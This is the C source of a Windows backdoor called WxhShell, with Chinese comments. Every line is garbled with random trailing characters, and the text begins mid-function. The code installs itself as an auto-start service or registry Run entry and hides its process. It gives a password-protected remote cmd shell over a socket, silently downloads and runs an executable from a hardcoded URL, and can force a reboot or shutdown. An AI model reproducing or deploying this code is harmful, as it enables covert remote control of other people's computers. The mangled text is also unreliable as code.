  case 'd': { o$\tHzB9!A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pI 5_Hg  
    if(Boot(SHUTDOWN)) hb<k]-'!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pxk0(oBX  
    else { *`1bc'umM;  
    closesocket(wsh); 9t}J|09i  
    ExitThread(0); niQcvnT4b  
    } *;P2+cE>H3  
    break; /.2qWQH  
    } D2)i3vFB  
  // 获取shell _ .!aBy%xf  
  case 's': { .<dOED{v  
    CmdShell(wsh); /sV?JV[t  
    closesocket(wsh); @`Wt4<  
    ExitThread(0); -nG wuEngP  
    break; itHM7d  
  } oR#my ^  
  // 退出 #Z!#;%S  
  case 'x': { qPUA!-'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yXrd2?Rq@  
    CloseIt(wsh); f,JX"  
    break; on_H6Y@B52  
    } Wz5=(<{S  
  // 离开 -_HRqw,Z0  
  case 'q': { j9>TTgy@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wB 2}uk7  
    closesocket(wsh); mZE8.`  
    WSACleanup(); w#<p^CS  
    exit(1); Fn> <q:  
    break; :~i+tD  
        } i3d y  
  } LGfmUb-{]  
  } jJ c07r']  
F:,#?  
  // 提示信息 8J):\jAZ6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dxntGH< O  
} EZ `}*Yrd  
  } V $>"f(  
([tG y  
  return; D Kq-C%  
} ? o sfL  
%b9fW  
// shell模块句柄 A'`P2Am  
int CmdShell(SOCKET sock) &8afl"_~  
{ s_v }=C^  
STARTUPINFO si; @ 'Q%Jc(  
ZeroMemory(&si,sizeof(si)); RJLFj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A-;^~I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^F&A6{9f/h  
PROCESS_INFORMATION ProcessInfo; 3@'lIV ?,q  
char cmdline[]="cmd"; ve~C`2=;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8lpzSJP4k  
  return 0;  qJURPK  
} v?}pi  
Qj:{p5H'  
// 自身启动模式 .X^43 q  
int StartFromService(void) 9j2\y=<&  
{ %pqL-G  
typedef struct /xJY7yF  
{ Uqr{,-]5v  
  DWORD ExitStatus; Q<C@KBiVE  
  DWORD PebBaseAddress; | 4 `.#4  
  DWORD AffinityMask; g/!Otgfu  
  DWORD BasePriority; ff[C'  
  ULONG UniqueProcessId; c<>y!^g  
  ULONG InheritedFromUniqueProcessId; ~n8F7  
}   PROCESS_BASIC_INFORMATION; VD9J}bgJ  
1P \up   
PROCNTQSIP NtQueryInformationProcess; l%@dE7<&#Z  
n-W?Z'H{r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @T_O6TcY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -C=]n<ak  
K: 4P ;ApI  
  HANDLE             hProcess; '/dTqg*W  
  PROCESS_BASIC_INFORMATION pbi; ?N(u4atC  
\DaLHC~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {vjq y&?y  
  if(NULL == hInst ) return 0; \3M1.Q4$Gr  
EL"4E',  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~%/'0}F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LK{a9` h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uFWvtL?;_  
lR, G;  
  if (!NtQueryInformationProcess) return 0; YyG~#6aCh  
vmMV n-\#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A=W5W5l(>  
  if(!hProcess) return 0; \ x:_*`fU  
~yd%~|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XQ4dohGCP  
c_t7RWV}  
  CloseHandle(hProcess); Y5Ft96o))x  
7f[8ED[4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z(#=tC|  
if(hProcess==NULL) return 0; [rc'/@L  
UJ O]sD`i  
HMODULE hMod; [O [FCn  
char procName[255]; '8L(f w{k  
unsigned long cbNeeded; :C> J-zY  
o%$<LaQG5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q;IhLBl'  
|HNQ|r_5S  
  CloseHandle(hProcess); p FXd4*  
~T;K-9R  
if(strstr(procName,"services")) return 1; // 以服务启动 HK^a:BI  
<nf=SRZ  
  return 0; // 注册表启动 9DmSs=A  
} E*h0#m|)  
P"2Q&M_ /  
// 主模块 .&Y,D-h}7|  
int StartWxhshell(LPSTR lpCmdLine) p_A5C?&  
{ OCvml 2 vP  
  SOCKET wsl; %+D-y+hn  
BOOL val=TRUE; /E; ;j9  
  int port=0; :jl u  
  struct sockaddr_in door; G3oxa/mO  
#*[,woNk  
  if(wscfg.ws_autoins) Install(); 2lX[hFa5  
dE+CIjW5  
port=atoi(lpCmdLine); 9UB??049z  
2&suo!ig  
if(port<=0) port=wscfg.ws_port; _!| =AIX  
<XU8a:w'T  
  WSADATA data; h5<T.vV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h 3eGq:!9  
e=0l<Rj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H f!9`R[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b,=,px  
  door.sin_family = AF_INET; iXt4|0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xU#]w6  
  door.sin_port = htons(port); ;b{pzIe=F  
k];L!Fj1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e?_c[`sg  
closesocket(wsl); .ruqRGe/  
return 1; h4J{jh.  
} FZM ]o  
"cIGNTLFA  
  if(listen(wsl,2) == INVALID_SOCKET) { ?3.(Vqwog  
closesocket(wsl); ^A:!ni@3  
return 1; [_B+DD=}  
} eUzU]6h  
  Wxhshell(wsl); &C CHxjsKR  
  WSACleanup(); 41P4?"O  
i=,B88ko  
return 0; WHZe)|n  
Q=)"om  
} e);bF>.~  
1\M"`L/  
// 以NT服务方式启动 ,Zf :R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y*]l|)a6_]  
{ =U)n`#6_j2  
DWORD   status = 0; > u'/$ k  
  DWORD   specificError = 0xfffffff; > #Grf)@"6  
azz#@f1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5<'n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  |JirBz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DQL06`pX/  
  serviceStatus.dwWin32ExitCode     = 0; R^mu%dw)(%  
  serviceStatus.dwServiceSpecificExitCode = 0; }rFsU\]:q  
  serviceStatus.dwCheckPoint       = 0; i{%z  
  serviceStatus.dwWaitHint       = 0; ux" D ]P  
yfRUTG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 03i?"MvNo  
  if (hServiceStatusHandle==0) return; 6Cop#kW#  
<k!mdj)  
status = GetLastError(); 8=ukS_?Vy  
  if (status!=NO_ERROR) k)<~nc-  
{ b/a?\0^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UKt/0Ze  
    serviceStatus.dwCheckPoint       = 0; F^/~@^{P  
    serviceStatus.dwWaitHint       = 0; 1t~S3Q||>]  
    serviceStatus.dwWin32ExitCode     = status; o|b[(t$;O  
    serviceStatus.dwServiceSpecificExitCode = specificError;  "@UU[o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (ffOu#RQ3  
    return; 9RCB$Ka6X  
  } ~Q.8 U3"  
/j=DC9_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a#OhWqu$  
  serviceStatus.dwCheckPoint       = 0; Vq)|gF[6i  
  serviceStatus.dwWaitHint       = 0; #`YxoY`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z=- 8iks|  
} 0+VncL)u  
1@1+4P0NF[  
// 处理NT服务事件,比如:启动、停止 U|y;b+n`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Zu [?'  
{ b.w(x*a  
switch(fdwControl) '&_y*"/c  
{ oHc-0$eMKY  
case SERVICE_CONTROL_STOP: ,=q7}5o Y  
  serviceStatus.dwWin32ExitCode = 0; 5 b#" G"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a!hI${Xn  
  serviceStatus.dwCheckPoint   = 0; =/!{<^0  
  serviceStatus.dwWaitHint     = 0;  \\E_W9.u  
  { SevfxR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g 'd*TBnk  
  } +Y.uZJ6+  
  return; #%} u8\q  
case SERVICE_CONTROL_PAUSE: p;c_<>ws-Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IV 3@6t4k  
  break; w|hyU4- ^  
case SERVICE_CONTROL_CONTINUE: r(?'Yy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0k] ju  
  break; h M1&A  
case SERVICE_CONTROL_INTERROGATE: qxecp2>U  
  break; @wAr[.lZ  
}; %$9)1"T0Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +r#=n7 t  
}  5Xy^I^J  
N('S2yfDR  
// 标准应用程序主函数 )N%1%bg^-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FS]+s>  
{ H( DVVHx  
hK9t}NE.O  
// 获取操作系统版本 J?qcRg`1E  
OsIsNt=GetOsVer(); dl3LDB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U{za m  
`Q(]AG I2  
  // 从命令行安装 9L)&n.t1  
  if(strpbrk(lpCmdLine,"iI")) Install(); r-\T}e2Gz  
# ZYid t  
  // 下载执行文件 ;?HZ,"^I  
if(wscfg.ws_downexe) { AT'_0> x8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'nj&}A'  
  WinExec(wscfg.ws_filenam,SW_HIDE); fjK]m.w  
} ]B-$p p  
.$ P2W0G  
if(!OsIsNt) { Mh-*5Rx  
// 如果时win9x,隐藏进程并且设置为注册表启动 J}Z_.:JO(w  
HideProc(); DbNi;m  
StartWxhshell(lpCmdLine); J*q=C%}.  
} nV,{w4t+  
else >1)@n3.<O  
  if(StartFromService()) 1X!f!0=g+  
  // 以服务方式启动 y uK5r  
  StartServiceCtrlDispatcher(DispatchTable); wYcz\uV  
else < 4EB|@E  
  // 普通方式启动 * F%ol;|Q  
  StartWxhshell(lpCmdLine); &:e}4/G  
@y~BYiKs  
return 0; 6UzT]"LR;  
} j O5:{%  
ym,Ot1  
`Hp.%G(  
n[cyK$"  
=========================================== #&`WMLl+8  
 _.J[w6  
,j(p}t  
luxKgcU  
+<9q]V  
$=QGua V  
" (82\&dfy  
KiRt'  
#include <stdio.h> @)juP- o%  
#include <string.h> SUnmp  
#include <windows.h> r1az=$  
#include <winsock2.h> Cak/#1  
#include <winsvc.h> C&s }m0R  
#include <urlmon.h> /x8C70W^  
:]z-Rz  
#pragma comment (lib, "Ws2_32.lib") zHum&V8=H  
#pragma comment (lib, "urlmon.lib") .V)2Tz  
G4J6  
#define MAX_USER   100 // 最大客户端连接数 OTtanJ?  
#define BUF_SOCK   200 // sock buffer YI\Cs=T/  
#define KEY_BUFF   255 // 输入 buffer 1n5e^'z  
p7=^m>Z6  
#define REBOOT     0   // 重启 [, szx1  
#define SHUTDOWN   1   // 关机 t[yD8h  
;x0KaFk  
#define DEF_PORT   5000 // 监听端口 ka9v2tE\  
U=cWvr65  
#define REG_LEN     16   // 注册表键长度 )}9}"jrDlx  
#define SVC_LEN     80   // NT服务名长度 '/qe#S  
U%PMV?L{  
// 从dll定义API mX_Uhpw?t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~9/nx|%D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H1b%:KRVK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g2b4 ia!L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f}9`iN=k  
qD>Y}Z !  
// wxhshell配置信息 !CMVZf;u  
struct WSCFG { CbvL X="%  
  int ws_port;         // 监听端口 XJ1nhE  
  char ws_passstr[REG_LEN]; // 口令 [j+0EVwB  
  int ws_autoins;       // 安装标记, 1=yes 0=no +so o2cb  
  char ws_regname[REG_LEN]; // 注册表键名 y7G|P~td  
  char ws_svcname[REG_LEN]; // 服务名 !=Vh2UbC3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9(evHR7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VA r?teY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uKAHJ$%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Kmf-l*7}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WxP4{T* <  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $6?KH7lA  
m4.V$U,H]  
}; #FDu 4xi  
1sJJ"dC.w  
// default Wxhshell configuration ?(L? X&)v  
struct WSCFG wscfg={DEF_PORT, Dlsa(  
    "xuhuanlingzhe", x)sDf!d4bi  
    1, $bC!T  
    "Wxhshell", zmS-s\$,  
    "Wxhshell", Mn{Rg>X  
            "WxhShell Service", p{#7\+}  
    "Wrsky Windows CmdShell Service", 3eDx@8N }  
    "Please Input Your Password: ", ?*5l}y=  
  1, ~hw4gdtS  
  "http://www.wrsky.com/wxhshell.exe", u H;^>`DT  
  "Wxhshell.exe" vlKKPS  
    }; Z5^ UF2`Q  
|2]WA'q  
// 消息定义模块 x=r6vOj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uRcuy/CY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7Qztc?XK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LZbHK.G=  
char *msg_ws_ext="\n\rExit."; "'dC>7*<  
char *msg_ws_end="\n\rQuit."; >t<R6f_Q0  
char *msg_ws_boot="\n\rReboot..."; ]CJ>iS!V  
char *msg_ws_poff="\n\rShutdown..."; aj-uk(r  
char *msg_ws_down="\n\rSave to "; v+2q R0,LM  
]vyF&`phb  
char *msg_ws_err="\n\rErr!"; "@|V.d@  
char *msg_ws_ok="\n\rOK!"; k <Sa<  
:[?o7%"  
char ExeFile[MAX_PATH]; WW/m /+  
int nUser = 0; 2/gj@>dt  
HANDLE handles[MAX_USER]; T`DlOi]Z_  
int OsIsNt; ^?0,G>I%-  
F(n))`(  
SERVICE_STATUS       serviceStatus; ",@g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Xg#([}b  
]6 7wk  
// 函数声明 |,~A9  
int Install(void); L}pFb@  
int Uninstall(void); *)SgdC/f  
int DownloadFile(char *sURL, SOCKET wsh); n>+W]I&E  
int Boot(int flag); [5:7 WqB  
void HideProc(void); pKlT.<X7  
int GetOsVer(void); S|h  m  
int Wxhshell(SOCKET wsl); z4UQ:z@  
void TalkWithClient(void *cs); vu \Dx9  
int CmdShell(SOCKET sock); @G{DOxE*  
int StartFromService(void); |#kf.kN  
int StartWxhshell(LPSTR lpCmdLine); gV>\lMc[-%  
~Q\ZDMTK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +~AI(h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'bO? =+c  
8LKZ3Y|  
// 数据结构和表定义 !|QeYGnq6  
SERVICE_TABLE_ENTRY DispatchTable[] = @Oay$gP{T  
{ C&"2`ll  
{wscfg.ws_svcname, NTServiceMain}, ~ ?_Z!eS  
{NULL, NULL} t$5]1dY$X  
}; 9!C?2*>A P  
Z'kYf   
// 自我安装 bW3o%srxa  
int Install(void) iR=aYT~  
{ ~ZC=!|Q#  
  char svExeFile[MAX_PATH]; N4NH)x  
  HKEY key; k&;L(D  
  strcpy(svExeFile,ExeFile); xf SvvCy  
*9&YkVw~  
// 如果是win9x系统,修改注册表设为自启动 ar}759  
if(!OsIsNt) { -"L6^IH7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &y?B&4|hM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :Djp\ e6!  
  RegCloseKey(key); SSC!BcC1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MUl+Oy>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b=l}|)a  
  RegCloseKey(key); ]TOY_K8"z#  
  return 0; VX%\_@  
    } jX,~iZ_B  
  } fs12<~+z  
} A1;t60z+q>  
else { oOz6Er[KO  
=Z$6+^L  
// 如果是NT以上系统,安装为系统服务 >D aS*r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zvj >KF|y  
if (schSCManager!=0) Vs{sB*:  
{ /q]@|5I  
  SC_HANDLE schService = CreateService Or|LyQU  
  ( 9hzU@m  
  schSCManager, gJ7pu N  
  wscfg.ws_svcname, L+CSF ]  
  wscfg.ws_svcdisp, )HE yTHLtJ  
  SERVICE_ALL_ACCESS, > `M\xt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S>Y?QQ3#wp  
  SERVICE_AUTO_START, Ymvd= F   
  SERVICE_ERROR_NORMAL, gk` .8o  
  svExeFile, s1q d/  
  NULL, S22; g  
  NULL, *k$&Hcr$  
  NULL,  i9"1  
  NULL, _Pal)re]U  
  NULL y_#wR/E)u{  
  ); = ByW`  
  if (schService!=0) 9tQk/niMM5  
  { Z%=E/xT  
  CloseServiceHandle(schService); n]!H,Q1,T  
  CloseServiceHandle(schSCManager); Q4*cL5j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t|lv6-Hy9  
  strcat(svExeFile,wscfg.ws_svcname); WG n1pW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R4;6Oi)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lHXH03  
  RegCloseKey(key); zYsGI<4  
  return 0; q[ZYlF,Ho  
    } }J`Gm  
  } V5MbWXgR  
  CloseServiceHandle(schSCManager); Hua8/:![+  
} h,g~J-x`|  
} \266N;JrN  
{n'}S(  
return 1; 70~]J8T+u  
} @ XMC$s  
oJy/PR 3  
// 自我卸载 {HeMdGn9  
int Uninstall(void) kOO2 ?L|Z  
{ "'L SLp  
  HKEY key; 2]wh1)  
]&>)=b!,  
if(!OsIsNt) { #96a7K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y*f<\z(4  
  RegDeleteValue(key,wscfg.ws_regname); LTHS&3% 2  
  RegCloseKey(key); S;~_9i]upe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F(r &:3!97  
  RegDeleteValue(key,wscfg.ws_regname); b`mEnI VIz  
  RegCloseKey(key); Pc<ZfO #  
  return 0; P+a&R<Dj4  
  } JAK*HA  
} zZ63 P  
} T5)?6i -N  
else { W2^R$"U  
"cx" d:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m" Gr pE3  
if (schSCManager!=0) Y/gCtSF  
{ 2S3F]fG0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B!0[LlF+  
  if (schService!=0) zFI bCv8  
  { (WC<XKf  
  if(DeleteService(schService)!=0) { M-_)CR  
  CloseServiceHandle(schService); !=pemLvH  
  CloseServiceHandle(schSCManager); Zh$Z$85p  
  return 0; ~7v^7;tT  
  } p-Ju&4fS  
  CloseServiceHandle(schService); 2bmppDk  
  } _4+1c5Q!  
  CloseServiceHandle(schSCManager); ~n?U{ RmH  
} ,7aqrg  
} 5VfP@{  
i2DR}%U  
return 1; )? xg=o/?  
}  I g`#U~  
FB""^IC?W  
// 从指定url下载文件 G>j/d7  
int DownloadFile(char *sURL, SOCKET wsh) f 36rU  
{ d hy=x  
  HRESULT hr; +;T%7j"wz  
char seps[]= "/"; Z:}^fZP  
char *token; RN0Rk 8AC  
char *file; ?d 4_'y   
char myURL[MAX_PATH]; YA jk'  
char myFILE[MAX_PATH]; 4b)xW&K{  
lc^%:#@  
strcpy(myURL,sURL); +x`tvo  
  token=strtok(myURL,seps); {|cA[#j#  
  while(token!=NULL) Tn|re Xc0e  
  { v|e>zm <  
    file=token; I`|>'$E[r  
  token=strtok(NULL,seps); N{'k ]&  
  } zI(Pti  
Z'E@sc 9  
GetCurrentDirectory(MAX_PATH,myFILE); T!n<ya!  
strcat(myFILE, "\\"); S}<(9@]z  
strcat(myFILE, file); Q]\x O/  
  send(wsh,myFILE,strlen(myFILE),0); 'EQAG' YV  
send(wsh,"...",3,0); =vWnqF:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^U1;5+2G+~  
  if(hr==S_OK) shD$,! k  
return 0; |Z<adOg  
else -v:Y\=[\  
return 1; ${?Px c{-  
qQb8K+t  
} ,F1$Of/'@\  
W$y?~2  
// 系统电源模块 "H({kmR  
int Boot(int flag) x-"7{@lz  
{ r=vE0;7  
  HANDLE hToken; 2b<0g@~X  
  TOKEN_PRIVILEGES tkp; z}5XLa^  
\%K6T)9  
  if(OsIsNt) { !vU[V,~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =LC5o2bLy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); = #`FXO1C  
    tkp.PrivilegeCount = 1; Sdn] f4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ."2V:;;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .]" o-(gB  
if(flag==REBOOT) { ,{%[/#~6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `hbM 2cM  
  return 0; N7[~Y2i  
} &CS=*)>$  
else { up`6IWlLE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *Hs5MXNu  
  return 0; Lczcz"t  
} h0GXN\xI  
  } hAY_dM  
  else { [=iq4F'7  
if(flag==REBOOT) { ow&R~_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vt1!|2{ h  
  return 0; d"V^^I)yx&  
} I;No++N0  
else { 3[c54S+(U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3KqylC &.  
  return 0; zpY8w#b  
} qRr;&M &t_  
} M|\ XFO  
S_)va#b#  
return 1; Dx8^V%b  
} y(%6?a @  
)t|M)zJ  
// win9x进程隐藏模块 ].$N@t C  
void HideProc(void) MQI6e".  
{ ,Rf<6/A  
7 `|- K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (LnKaf8  
  if ( hKernel != NULL ) dfNNCPu]+  
  { Wg#>2)>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <h^vl-L>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B${Q Y)t  
    FreeLibrary(hKernel); RSp=If+4  
  } M;V2O;  
m49)cK?  
return; 7{p,<Uz<"U  
} DCHU=r  
bk V_ ^8  
// 获取操作系统版本 z 6p.{M  
int GetOsVer(void) j_k!9"bt  
{ VlK WWQj  
  OSVERSIONINFO winfo; O)&V}hU*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z/%>/  
  GetVersionEx(&winfo); m~2PpO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T8v>J4@t  
  return 1; 1>n@`M8}  
  else 0(]C$*~mk  
  return 0; z+;+c$X  
} XXO   
`CRW2^g  
// 客户端句柄模块 {`{U\w5Af  
int Wxhshell(SOCKET wsl) R+P1 +5  
{ pJV<#<#Z  
  SOCKET wsh; ;0 ,-ywK  
  struct sockaddr_in client; ]@_*O$  
  DWORD myID; /CH*5w)1   
6z~6o0s~  
  while(nUser<MAX_USER) BeBa4s  
{ *S7<QyVh  
  int nSize=sizeof(client); p2\@E} z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aCQAh[T  
  if(wsh==INVALID_SOCKET) return 1; M4`qi3I  
-_B*~M/vV`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,XR1N$LN8_  
if(handles[nUser]==0) 3~Ah8,  
  closesocket(wsh); [V =O$X_  
else p?ICZg:  
  nUser++; xse8fGs  
  } &S/KR$^ %  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wD4Kil=v  
kid@*.I  
  return 0; iXI > >9  
} a:C ly9  
_pL:dKfy7  
// 关闭 socket t}+P|$[  
void CloseIt(SOCKET wsh) ?3[as<GZ8  
{ (r.[b  
closesocket(wsh); bIR7g(PJ.b  
nUser--; Rkgpa/te"  
ExitThread(0); rQCj^=cf;~  
} Ean #>h  
ht)J#Di  
// 客户端请求句柄 ',~,hJ0  
void TalkWithClient(void *cs) I~|.Re9a  
{ xzh`q  
ApR>b%  
  SOCKET wsh=(SOCKET)cs; *{ 6{ZKM  
  char pwd[SVC_LEN]; xO{yr[x"L  
  char cmd[KEY_BUFF]; DYx3 NDX7  
char chr[1]; 4~4D1  
int i,j; 4 +Wti!s  
-uX): h!  
  while (nUser < MAX_USER) { }Dp/K4  
| <gYzb q  
if(wscfg.ws_passstr) { 741Sd8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M] 7#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /GRkQ",  
  //ZeroMemory(pwd,KEY_BUFF); WTbq)D(&[_  
      i=0; E&9BeU a#  
  while(i<SVC_LEN) { az/NZlJhT  
HW"@~-\  
  // 设置超时 +K{J* n  
  fd_set FdRead; {%gMA?b|"  
  struct timeval TimeOut; z&Cz!HrS  
  FD_ZERO(&FdRead); @p"m{  
  FD_SET(wsh,&FdRead); ]2Zl\}GwY  
  TimeOut.tv_sec=8; },+ &y^  
  TimeOut.tv_usec=0; o!bV;]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j"1#n? 0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DxoW,G W  
H[S[ y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U4M}E h8  
  pwd=chr[0]; >cJfD9-<h  
  if(chr[0]==0xd || chr[0]==0xa) { aYW 9 C<5  
  pwd=0; it77x3Mm F  
  break; c&X2k\  
  } gaV>WF  
  i++; wl7G6Y2  
    } Lh\ 1L  
wwUa+6?  
  // 如果是非法用户,关闭 socket (ZSd7qH"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d;@"Naw  
} -?nr q <3  
O/ybqU\7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &L`^\B]k|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VH M&Y-G  
kn %i#Fz  
while(1) { 6 );8z!+  
8}C_/qeM  
  ZeroMemory(cmd,KEY_BUFF); , Ox$W  
Q,v/]bXd  
      // 自动支持客户端 telnet标准   eI%9.Cx#I  
  j=0; gxPu/VD4  
  while(j<KEY_BUFF) { %[B^b)2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /xq^]0xy  
  cmd[j]=chr[0]; #|8Ia:=s  
  if(chr[0]==0xa || chr[0]==0xd) { >UNx<=ry  
  cmd[j]=0; z* k(` '  
  break; h>k[  
  } XCvL`  
  j++; Cg_9V4h.C  
    } uHeKttR-  
SFJ"(ey$  
  // 下载文件 [8jIu&tJf  
  if(strstr(cmd,"http://")) { AdD,94/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J~}sQ{ 0  
  if(DownloadFile(cmd,wsh)) ANWfRtiU#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z>]P_E~`}  
  else fQQj2> 3w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qf T71o(  
  } /#}o19(-d  
